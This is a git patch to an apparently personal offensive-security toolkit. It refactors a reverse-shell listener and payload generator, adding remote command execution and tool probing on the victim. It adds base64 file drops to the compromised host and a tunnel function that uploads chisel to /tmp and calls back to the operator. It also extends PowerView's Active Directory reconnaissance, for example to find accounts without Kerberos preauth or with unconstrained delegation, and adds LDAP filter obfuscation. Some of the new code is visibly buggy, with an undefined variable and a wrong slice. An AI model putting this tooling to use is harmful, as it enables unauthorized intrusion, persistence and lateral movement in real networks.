From 8adc30d7ae0d8d343731e234859482bf33a5b8c6 Mon Sep 17 00:00:00 2001 From: Roman Hergenreder Date: Sun, 23 Jan 2022 22:09:12 +0100 Subject: [PATCH] Project re-structuring (python naming conventions) --- __init__.py | 2 +- genRevShell.py => rev_shell.py | 117 +- subdomainFuzz.sh | 2 +- util.py | 18 +- win/PowerView.ps1 | 5442 +++++++++++++++++++++++++++----- win/Powermad.ps1 | 4480 ++++++++++++++++++++++++++ 6 files changed, 9268 insertions(+), 793 deletions(-) rename genRevShell.py => rev_shell.py (62%) create mode 100644 win/Powermad.ps1 diff --git a/__init__.py b/__init__.py index 1d35bb7..2ee31e9 100644 --- a/__init__.py +++ b/__init__.py @@ -2,7 +2,7 @@ import os import sys __doc__ = __doc__ or "" -__all__ = ["util","fileserver","xss_handler","genRevShell","xp_cmdshell", "dnsserver"] +__all__ = ["util","fileserver","xss_handler","rev_shell","xp_cmdshell", "dnsserver"] inc_dir = os.path.dirname(os.path.realpath(__file__)) sys.path.append(inc_dir) diff --git a/genRevShell.py b/rev_shell.py similarity index 62% rename from genRevShell.py rename to rev_shell.py index 743089a..2d3ba5b 100755 --- a/genRevShell.py +++ b/rev_shell.py @@ -1,12 +1,14 @@ #!/usr/bin/python import socket +import os import sys import pty import util import time import random import threading +import paramiko import readline import base64 @@ -17,16 +19,30 @@ class ShellListener: self.bind_addr = addr self.port = port self.verbose = False - self.on_message = None + self.on_message = [] self.listen_thread = None self.connection = None self.on_connect = None + self.features = set() def startBackground(self): self.listen_thread = threading.Thread(target=self.start) self.listen_thread.start() return self.listen_thread + def has_feature(self, feature): + return feature.lower() in self.features + + def probe_features(self): + features = ["wget", "curl", "nc", "sudo", "telnet", "docker", "python"] + for feature in features: + output = self.exec_sync("whereis " + feature) + if output.startswith(feature.encode() + b": ") and len(output) >= len(feature)+2: + self.features.add(feature.lower()) + + def get_features(self): + return self.features + def start(self): self.running = True self.listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) @@ -46,8 +62,8 @@ class ShellListener: break if self.verbose: print("< ", data) - if self.on_message: - self.on_message(data) + for callback in self.on_message: + callback(data) print("[-] Disconnected") self.connection = None @@ -73,12 +89,42 @@ class ShellListener: data += b"\n" return self.send(data) + def exec_sync(self, cmd): + output = b"" + complete = False + + if isinstance(cmd, str): + cmd = cmd.encode() + + def callback(data): + nonlocal output + nonlocal complete + + if complete: + return + + output += data + if data.endswith(b"# ") or data.endswith(b"$ "): + complete = True + if b"\n" in output: + output = output[0:output.rindex(b"\n")] + if output.startswith(cmd + b"\n"): + output = output[len(cmd)+1:] + + self.on_message.append(callback) + self.sendline(cmd) + while not complete: + time.sleep(0.1) + + self.on_message.remove(callback) + return output + def print_message(self, data): sys.stdout.write(data.decode()) sys.stdout.flush() def interactive(self): - self.on_message = lambda x: self.print_message(x) + self.on_message.append(lambda x: self.print_message(x)) while self.running and self.connection is not None: self.sendline(input()) @@ -87,7 +133,36 @@ class ShellListener: time.sleep(0.1) return self.running -def generatePayload(type, local_address, port, index=None): + def write_file(self, path, data_or_fd, permissions=None): + + def write_chunk(chunk, first=False): + # assume this is unix + chunk = base64.b64encode(chunk).decode() + operator = ">" if first else ">>" + self.sendline(f"echo {chunk}|base64 -d {operator} {path}") + + chunk_size = 1024 + if hasattr(data_or_fd, "read"): + first = True + while True: + data = data_or_fd.read(chunk_size) + if not data: + break + if isinstance(data, str): + data = data.encode() + write_chunk(data, first) + first = False + data_or_fd.close() + else: + if isinstance(data_or_fd, str): + data_or_fd = data_or_fd.encode() + for offset in range(0, len(data_or_fd), chunk_size): + write_chunk(data_or_fd[offset:chunk_size], offset == 0) + + if permissions: + self.sendline(f"chmod {permissions} {path}") + +def generate_payload(type, local_address, port, index=None): commands = [] @@ -127,7 +202,7 @@ def generatePayload(type, local_address, port, index=None): def spawn_listener(port): pty.spawn(["nc", "-lvvp", str(port)]) -def triggerShell(func, port): +def trigger_shell(func, port): def _wait_and_exec(): time.sleep(1.5) func() @@ -135,7 +210,7 @@ def triggerShell(func, port): threading.Thread(target=_wait_and_exec).start() spawn_listener(port) -def triggerShellBackground(func, port): +def trigger_background_shell(func, port): listener = ShellListener("0.0.0.0", port) listener.startBackground() threading.Thread(target=func).start() @@ -143,6 +218,30 @@ def triggerShellBackground(func, port): time.sleep(0.5) return listener +def create_tunnel(shell, ports: list): + if len(ports) == 0: + print("[-] Need at least one port to tunnel") + return + + # TODO: ports + + if isinstance(shell, ShellListener): + # TODO: if chisel has not been transmitted yet + # we need a exec sync function, but this requires guessing when the output ended or we need to know the shell prompt + ipAddress = util.get_address() + chiselPort = 3000 + chisel_path = os.path.join(os.path.dirname(__file__), "chisel64") + shell.write_file("/tmp/chisel64", open(chisel_path, "rb")) + shell.sendline("chmod +x /tmp/chisel64") + + t = threading.Thread(target=os.system, args=(f"{chisel_path} server --port {chisel_port} --reverse", )) + t.start() + + shell.sendline(f"/tmp/chisel64 client --max-retry-count 1 {ipAddress}:{chiselPort} {ports} 2>&1 >/dev/null &") + elif isinstance(shell, paramiko.SSHClient): + # TODO: https://github.com/paramiko/paramiko/blob/88f35a537428e430f7f26eee8026715e357b55d6/demos/forward.py#L103 + pass + if __name__ == "__main__": if len(sys.argv) < 2: @@ -152,7 +251,7 @@ if __name__ == "__main__": listen_port = None if len(sys.argv) < 3 else int(sys.argv[2]) payload_type = sys.argv[1].lower() - local_address = util.getAddress() + local_address = util.get_address() # choose random port if listen_port is None: @@ -160,7 +259,7 @@ if __name__ == "__main__": while util.isPortInUse(listen_port): listen_port = random.randint(10000,65535) - payload = generatePayload(payload_type, local_address, listen_port) + payload = generate_payload(payload_type, local_address, listen_port) if payload is None: print("Unknown payload type: %s" % payload_type) diff --git a/subdomainFuzz.sh b/subdomainFuzz.sh index 5ffe4c1..7466a91 100755 --- a/subdomainFuzz.sh +++ b/subdomainFuzz.sh @@ -32,5 +32,5 @@ echo "[+] Chars: ${charcountDomain} and ${charcountIpAddress}" echo "[ ] Fuzzing…" ffuf --fs ${charcountDomain},${charcountIpAddress} --fc 400 --mc all \ - -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt \ + -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt \ -u "${PROTOCOL}://${IP_ADDRESS}" -H "Host: FUZZ.${DOMAIN}" "${@:2}" diff --git a/util.py b/util.py index 3c1dcc3..cad8ef7 100755 --- a/util.py +++ b/util.py @@ -16,8 +16,7 @@ def isPortInUse(port): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: return s.connect_ex(('127.0.0.1', port)) == 0 - -def getAddress(interface="tun0"): +def get_address(interface="tun0"): if not interface in ni.interfaces(): interfaces = ni.interfaces() interfaces.remove('lo') @@ -111,7 +110,7 @@ def pad(x, n): x += (n-(len(x)%n))*b"\x00" return x -def exifImage(payload="", _in=None, _out=None, exif_tag=None): +def set_exif_data(payload="", _in=None, _out=None, exif_tag=None): if _in is None or (isinstance(_in, str) and not os.path.exists(_in)): _in = Image.new("RGB", (50,50), (255,255,255)) @@ -120,7 +119,7 @@ def exifImage(payload="", _in=None, _out=None, exif_t _in = exif.Image(open(_in, "rb")) elif isinstance(_in, Image.Image): bytes = io.BytesIO() - _in.save(bytes, format='PNG') + _in.save(bytes, format='JPEG') _in = exif.Image(bytes.getvalue()) elif not isinstance(_in, exif.Image): print("Invalid input. Either give an Image or a path to an image.") @@ -145,8 +144,7 @@ def exifImage(payload="", _in=None, _out=None, exif_t _in[exif_tag] = payload if _out is None: - sys.stdout.write(_in.get_file()) - sys.stdout.flush() + return _in.get_file() elif isinstance(_out, str): with open(_out, "wb") as f: f.write(_in.get_file()) @@ -165,9 +163,9 @@ if __name__ == "__main__": command = sys.argv[1] if command == "getAddress": if len(sys.argv) >= 3: - print(getAddress(sys.argv[2])) + print(get_address(sys.argv[2])) else: - print(getAddress()) + print(get_address()) elif command == "pad": if len(sys.argv) >= 3: n = 8 @@ -192,7 +190,9 @@ if __name__ == "__main__": else: _out = ".".join(_out[0:-1]) + "_exif." + _out[-1] - exifImage(payload, _in, _out, tag) + output = set_exif_data(payload, _in, _out, tag) + sys.stdout.buffer.write(output) + sys.stdout.flush() elif command == "help": print("Usage: %s [command]" % bin) print("Available commands:") diff --git a/win/PowerView.ps1 b/win/PowerView.ps1 index 2dc5234..0dbb997 100644 --- a/win/PowerView.ps1 +++ b/win/PowerView.ps1 @@ -3167,7 +3167,7 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties = @{} - $Properties.PropertyNames | ForEach-Object { + $Properties.keys | Sort-Object | ForEach-Object { if ($_ -ne 'adspath') { if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) { # convert all listed sids (i.e. if multiple are listed in sidHistory) @@ -3190,7 +3190,9 @@ A custom PSObject with LDAP hashtable properties translated. # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0 if ($Descriptor.Owner) { - $ObjectProperties['Owner'] = $Descriptor.Owner + $ObjectProperties['OwnerSID'] = $Descriptor.Owner + $OwnerObject = Get-DomainObject $Descriptor.Owner + $ObjectProperties['OwnerName'] = $OwnerObject.samaccountname } if ($Descriptor.Group) { $ObjectProperties['Group'] = $Descriptor.Group @@ -3210,7 +3212,15 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) } } - elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) { + elseif ($_ -eq 'lockouttime') { + if ($Properties[$_][0] -eq 0 -or $Properties[$_][0] -gt [DateTime]::MaxValue.Ticks) { + $ObjectProperties[$_] = "UNLOCKED" + } + else { + $ObjectProperties[$_] = [datetime]::fromfiletime($Properties[$_][0]) + } + } + elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') -or ($_ -eq 'ms-mcs-admpwdexpirationtime')) { # convert timestamps if ($Properties[$_][0] -is [System.MarshalByRefObject]) { # if we have a System.__ComObject @@ -3224,6 +3234,9 @@ A custom PSObject with LDAP hashtable properties translated. $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0]))) } } + elseif ($_ -eq 'logonhours') { + $ObjectProperties[$_] = Convert-LogonHours -LogonHours $Properties[$_][0] + } elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) { # try to convert misc com objects $Prop = $Properties[$_] @@ -3332,6 +3345,10 @@ Switch. Specifies that the searcher should also return deleted/tombstoned object A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Use SSL Connection to LDAP Server + .EXAMPLE Get-DomainSearcher -Domain testlab.local @@ -3408,7 +3425,10 @@ System.DirectoryServices.DirectorySearcher [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL ) PROCESS { @@ -3449,92 +3469,113 @@ System.DirectoryServices.DirectorySearcher $BindServer = $Server } - $SearchString = 'LDAP://' - - if ($BindServer -and ($BindServer.Trim() -ne '')) { - $SearchString += $BindServer - if ($TargetDomain) { - $SearchString += '/' + if ($PSBoundParameters['SSL']) { + if ([string]::IsNullOrEmpty($BindServer)) { + $DomainObject = Get-Domain + $BindServer = ($DomainObject.PdcRoleOwner).Name } - } - - if ($PSBoundParameters['SearchBasePrefix']) { - $SearchString += $SearchBasePrefix + ',' - } - - if ($PSBoundParameters['SearchBase']) { - if ($SearchBase -Match '^GC://') { - # if we're searching the global catalog, get the path in the right format - $DN = $SearchBase.ToUpper().Trim('/') - $SearchString = '' + [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null + Write-Verbose "[Get-DomainSearcher] Connecting to $($BindServer):636" + $Searcher = New-Object -TypeName System.DirectoryServices.Protocols.LdapConnection -ArgumentList "$($BindServer):636" + $Searcher.SessionOptions.SecureSocketLayer = $true; + $Searcher.SessionOptions.VerifyServerCertificate = { $true } + $Searcher.SessionOptions.DomainName = $TargetDomain + $Searcher.AuthType = [System.DirectoryServices.Protocols.AuthType]::Negotiate + if ($PSBoundParameters['Credential']) { + $Searcher.Bind($Credential) } else { - if ($SearchBase -match '^LDAP://') { - if ($SearchBase -match "LDAP://.+/.+") { - $SearchString = '' - $DN = $SearchBase - } - else { - $DN = $SearchBase.SubString(7) - } + $Searcher.Bind() + } + } + else { + $SearchString = 'LDAP://' + + if ($BindServer -and ($BindServer.Trim() -ne '')) { + $SearchString += $BindServer + if ($TargetDomain) { + $SearchString += '/' + } + } + + if ($PSBoundParameters['SearchBasePrefix']) { + $SearchString += $SearchBasePrefix + ',' + } + + if ($PSBoundParameters['SearchBase']) { + if ($SearchBase -Match '^GC://') { + # if we're searching the global catalog, get the path in the right format + $DN = $SearchBase.ToUpper().Trim('/') + $SearchString = '' } else { - $DN = $SearchBase + if ($SearchBase -match '^LDAP://') { + if ($SearchBase -match "LDAP://.+/.+") { + $SearchString = '' + $DN = $SearchBase + } + else { + $DN = $SearchBase.SubString(7) + } + } + else { + $DN = $SearchBase + } } } - } - else { - # transform the target domain name into a distinguishedName if an ADS search base is not specified - if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { - $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + else { + # transform the target domain name into a distinguishedName if an ADS search base is not specified + if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) { + $DN = "DC=$($TargetDomain.Replace('.', ',DC='))" + } } - } - $SearchString += $DN - Write-Verbose "[Get-DomainSearcher] search base: $SearchString" + $SearchString += $DN + Write-Verbose "[Get-DomainSearcher] search base: $SearchString" - if ($Credential -ne [Management.Automation.PSCredential]::Empty) { - Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" - # bind to the inital search object using alternate credentials - $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) - $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) - } - else { - # bind to the inital object using the current credentials - $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) - } - - $Searcher.PageSize = $ResultPageSize - $Searcher.SearchScope = $SearchScope - $Searcher.CacheResults = $False - $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All - - if ($PSBoundParameters['ServerTimeLimit']) { - $Searcher.ServerTimeLimit = $ServerTimeLimit - } - - if ($PSBoundParameters['Tombstone']) { - $Searcher.Tombstone = $True - } - - if ($PSBoundParameters['LDAPFilter']) { - $Searcher.filter = $LDAPFilter - } - - if ($PSBoundParameters['SecurityMasks']) { - $Searcher.SecurityMasks = Switch ($SecurityMasks) { - 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } - 'Group' { [System.DirectoryServices.SecurityMasks]::Group } - 'None' { [System.DirectoryServices.SecurityMasks]::None } - 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } - 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + if ($Credential -ne [Management.Automation.PSCredential]::Empty) { + Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection" + # bind to the inital search object using alternate credentials + $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) + $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) + } + else { + # bind to the inital object using the current credentials + $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) } - } - if ($PSBoundParameters['Properties']) { - # handle an array of properties to load w/ the possibility of comma-separated strings - $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } - $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + $Searcher.PageSize = $ResultPageSize + $Searcher.SearchScope = $SearchScope + $Searcher.CacheResults = $False + $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All + + if ($PSBoundParameters['ServerTimeLimit']) { + $Searcher.ServerTimeLimit = $ServerTimeLimit + } + + if ($PSBoundParameters['Tombstone']) { + $Searcher.Tombstone = $True + } + + if ($PSBoundParameters['LDAPFilter']) { + $Searcher.filter = $LDAPFilter + } + + if ($PSBoundParameters['SecurityMasks']) { + $Searcher.SecurityMasks = Switch ($SecurityMasks) { + 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl } + 'Group' { [System.DirectoryServices.SecurityMasks]::Group } + 'None' { [System.DirectoryServices.SecurityMasks]::None } + 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner } + 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl } + } + } + + if ($PSBoundParameters['Properties']) { + # handle an array of properties to load w/ the possibility of comma-separated strings + $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') } + $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad)) + } } $Searcher @@ -4169,6 +4210,10 @@ Switch. Use LDAP queries to determine the domain controllers instead of built in A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + .EXAMPLE Get-DomainController -Domain 'test.local' @@ -4223,13 +4268,17 @@ If -LDAP isn't specified. [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $Arguments['SSL'] = $SSL } if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } @@ -4895,6 +4944,30 @@ Dynamic parameter that accepts one or more values from $UACEnum, including Switch. Return users with '(adminCount=1)' (meaning are/were privileged). +.PARAMETER Enabled + +Switch. Return users that are currently enabled. + +.PARAMETER Disabled + +Switch. Return users that are currently disabled. + +.PARAMETER Locked + +Switch. Return users that are currently locked. + +.PARAMETER Unlocked + +Switch. Return users that are currently unlocked. + +.PARAMETER PassExired + +Switch. Return users whose password has expired. + +.PARAMETER PassNotExpired + +Switch. Return users whose password has not expired. + .PARAMETER AllowDelegation Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation' @@ -4903,14 +4976,38 @@ Switch. Return user accounts that are not marked as 'sensitive and not allowed f Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation' +.PARAMETER NoPassExpiry + +Switch. Return users whose passwords do not expire. + +.PARAMETER Unconstrained + +Switch. Return users configured for unconstrained delegation. + .PARAMETER TrustedToAuth -Switch. Return computer objects that are trusted to authenticate for other principals. +Switch. Return user accounts that are trusted to authenticate for other principals. + +.PARAMETER RBCD + +Switch. Return user accounts that are configured to allow resource-based constrained delegation. .PARAMETER PreauthNotRequired Switch. Return user accounts with "Do not require Kerberos preauthentication" set. +.PARAMETER PassNotRequired + +Switch. Return user accounts with PASSWD_NOTREQD set. + +.PARAMETER PassLastSet + +Return only user accounts that have not had a password change for at least the specified number of days. + +.PARAMETER Owner + +Return the owner information of the user object. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -4966,6 +5063,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainUser -Domain testlab.local @@ -5046,7 +5151,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.User')] [OutputType('PowerView.User.Raw')] - [CmdletBinding(DefaultParameterSetName = 'AllowDelegation')] + [CmdletBinding(DefaultParameterSetName = 'Enabled')] Param( [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')] @@ -5059,21 +5164,58 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $AdminCount, - [Parameter(ParameterSetName = 'AllowDelegation')] + [Parameter(ParameterSetName = 'Enabled')] + [Switch] + $Enabled, + + [Parameter(ParameterSetName = 'Disabled')] + [Switch] + $Disabled, + + [Switch] + $Locked, + + [Switch] + $Unlocked, + + [Switch] + $PassExpired, + + [Switch] + $PassNotExpired, + [Switch] $AllowDelegation, - [Parameter(ParameterSetName = 'DisallowDelegation')] [Switch] $DisallowDelegation, + [Switch] + $NoPassExpiry, + + [Switch] + $Unconstrained, + [Switch] $TrustedToAuth, + [Switch] + $RBCD, + [Alias('KerberosPreauthNotRequired', 'NoPreauth')] [Switch] $PreauthNotRequired, + [Switch] + $PassNotRequired, + + [ValidateRange(1, 10000)] + [Int] + $PassLastSet, + + [Switch] + $Owner, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -5125,7 +5267,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) DynamicParam { @@ -5140,15 +5288,24 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['Owner']) { $SearcherArguments['Properties'] = '*' } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Owner']) { $SearcherArguments['SecurityMasks'] = 'Owner' } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $UserSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } + + $PolicyArguments = @{} + if ($PSBoundParameters['Domain']) { $PolicyArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $PolicyArguments['Server'] = $Server } + if ($PSBoundParameters['ServerTimeLimit']) { $PolicyArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Credential']) { $PolicyArguments['Credential'] = $Credential } } PROCESS { @@ -5157,119 +5314,228 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } - if ($UserSearcher) { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" + $IdentityFilter = '' + $Filter = '' + $MaximumAge = $Null + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain } - elseif ($IdentityInstance -match '^CN=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $UserSearcher = Get-DomainSearcher @SearcherArguments - if (-not $UserSearcher) { - Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'" + } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + elseif ($IdentityInstance.Contains('\')) { + $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical + if ($ConvertedIdentityInstance) { + $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) + $UserName = $IdentityInstance.Split('\')[1] + $IdentityFilter += "(samAccountName=$UserName)" + $SearcherArguments['Domain'] = $UserDomain + Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" + } + } + else { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } + } + + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['SPN']) { + Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' + $Filter += '(servicePrincipalName=*)' + } + if ($PSBoundParameters['Enabled']) { + Write-Verbose '[Get-DomainUser] Searching for users who are enabled' + # negation of "Accounts that are disabled" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' + } + if ($PSBoundParameters['Disabled']) { + Write-Verbose '[Get-DomainUser] Searching for users who are disabled' + # inclusion of "Accounts that are disabled" + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=2)' + } + if ($PSBoundParameters['Locked']) { + Write-Verbose '[Get-DomainUser] Searching for users who are locked' + # need to get the lockout duration from the domain policy + $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration + if ($Duration -eq -1) { + $LockoutTime = 1 + } + else { + $LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc() + } + $Filter += "(lockoutTime>=$LockoutTime)" + } + elseif ($PSBoundParameters['Unlocked']) { + Write-Verbose '[Get-DomainUser] Searching for users who are unlocked' + # need to get the lockout duration from the domain policy + $Duration = ((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).LockoutDuration + if ($Duration -eq -1) { + $LockoutTime = 1 + } + else { + $LockoutTime = (Get-Date).AddMinutes(-$Duration).ToFileTimeUtc() + } + $Filter += "(!(lockoutTime>=$LockoutTime))" + } + if ($PSBoundParameters['PassExpired']) { + Write-Verbose '[Get-DomainUser] Ignoring users that have passwords to never expire' + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=65536))' + Write-Verbose '[Get-DomainUser] Getting the maximum password age from the domain policy' + $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + if ($MaximumAge -lt 1) { + Write-Warning '[Get-DomainUser] Password expiry disabled in domain policy, no users will be returned' + return + } + } + elseif ($PSBoundParameters['NoPassExpiry']) { + Write-Verbose '[Get-DomainUser] Searching for users whose passwords never expire' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=65536)' + } + if ($PSBoundParameters['PassNotExpired']) { + Write-Verbose "[Get-DomainUser] Getting the maximum password age from the domain policy" + $MaximumAge = [Int]((Get-DomainPolicy -Policy Domain @PolicyArguments).SystemAccess).MaximumPasswordAge + } + if ($PSBoundParameters['AllowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' + # negation of "Accounts that are sensitive and not trusted for delegation" + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048576))' + } + elseif ($PSBoundParameters['DisallowDelegation']) { + Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048576)' + } + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainUser] Searching for users configured for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + } + if ($PSBoundParameters['AdminCount']) { + Write-Verbose '[Get-DomainUser] Searching for adminCount=1' + $Filter += '(admincount=1)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['RBCD']) { + Write-Verbose '[Get-DomainUser] Searching for users 